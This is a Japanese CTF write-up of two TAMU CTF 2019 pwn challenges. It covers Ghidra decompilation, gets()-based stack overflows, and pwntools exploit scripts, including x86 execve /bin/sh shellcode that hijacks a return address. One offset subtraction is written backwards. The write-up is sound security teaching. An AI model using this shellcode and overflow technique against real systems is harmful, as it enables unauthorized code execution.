Pwn 過去問チャレンジ Part1
過去に出題されたPwn問のWriteupを書いていきます。
TAMU CTF 2019
Pwn1
上記のファイルを実行してみます。
名前の入力を求められました。
このままでは何もわからないので、Ghidraを用いて静的解析を行います。
下記はGhidraで出力されたmain関数の内容です。
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(void)
{
int iVar1;
char local_43 [43];
int local_18;
undefined4 local_14;
undefined *local_10;
local_10 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
local_14 = 2;
local_18 = 0;
puts(
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see."
);
puts("What... is your name?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is your quest?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is my secret?");
gets(local_43);
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
return 0;
}
strcmpで入力値を比較しています。
質問は3つあり、1つ目は、Sir Lancelot of Camelot、
2つ目は、To seek the Holy Grail.を入力すればチェックをクリアできます。
最後の質問をクリアできればprint_flag関数が実行され、flagを獲得できそうです。
最後の質問部分でのチェックでは、入力値(local_43)と比較していないため、通常であればチェックをクリアすることはできません。
しかし、この部分では前2つの質問部分のコードとは違い、gets関数が使用されており、スタックバッファオーバーフローが存在します。
※gets関数は改行文字、またはEOFを取得するまで読み取ってしまうため。
※fgets関数は読み取る文字数を指定できる。
下記より、スタックバッファオーバーフローを利用して、変数local_18を0xdea110c8に変更できればチェックをクリアできます。
次に何バイト入力すればlocal_18を変更できるか調べます。
上記より、0x2b、つまり43バイト入力すればよさそうです。
ここまでの情報を用いてエクスプロイトコードを作成します。
from pwn import *
target = process('./pwn1')
# ペイロードの作成
payload = b"a"*43
payload += p32(0xdea110c8)
# 1つ目の質問
target.sendline("Sir Lancelot of Camelot")
# 2つ目の質問
target.sendline("To seek the Holy Grail.")
# 3つ目の質問
target.sendline(payload)
target.interactive()
Flag獲得!
Pwn3
上記のファイルを実行してみます。
入力を求められますが、入力しても特に何も起きません。
Ghidraで静的解析を行います。
/* WARNING: Function: __x86.get_pc_thunk.ax replaced with injection: get_pc_thunk_ax */
undefined4 main(void)
{
undefined *puVar1;
puVar1 = &stack0x00000004;
setvbuf(stdout,(char *)0x2,0,0);
echo(puVar1);
return 0;
}
echo関数を呼び出し、puVar1を引数として与えていることがわかります。
下図はデコンパイルされたecho関数の内容です。
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void echo(void)
{
char local_12e [294];
printf("Take this, you might need it on your journey %p!\n",local_12e);
gets(local_12e);
return;
}
pwn1でも脆弱性の原因となっていた、gets関数が利用されています。
また、親切にもlocal_12eのアドレスを表示してくれています。
したがって、pwn1と同様にオーバーフローを発生させることで、リターンアドレスを上書きし、コードを実行させることが出来そうです。
しかし、シェルを使えるような関数は見当たりません。
このような場合、"シェルコード"を利用してシェルを生成します。
execveシステムコールを利用し、/bin/shを呼び出します。
シェルコードについては下記の記事や書籍が参考に作成しました。
あとはリターンアドレスを上書きし、シェルコードを呼び出せればFlagを獲得できそうです。
メモリの内容を調べます。
ASLRにより、メモリ領域のアドレスがランダム化されていますが、先ほど見たように、echo関数により、スタックのアドレスが表示されます。
※ASLRは、プログラムの実行ごとにライブラリやスタック領域の先頭アドレスをランダムに変化させる技術です。
上記より、local_12eの開始値からリターンアドレスまでの距離がわかります。
0xffffce7e-0xffffcfac=0x12e
以上の情報をもとに、エクスプロイトコードを作成します。
from pwn import *
target = process('./pwn3')
# journeyが来るまでデータを受け取る
target.recvuntil("journey ")
# journey以降のデータを変数に格納
leak = target.recvline()
# アドレス部分のみを切り取り16進数に変換し、変数に格納
Adr = int(leak.strip(b"!\n"),16)
# シェルコード作成
shellcode = asm("""
xor eax,eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
Push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")
# ペイロード作成
payload = b""
payload += shellcode
payload += b"\x00" * (0x12e - len(payload))
payload += p32(Adr)
target.sendline(payload)
target.interactive()
シェル獲得!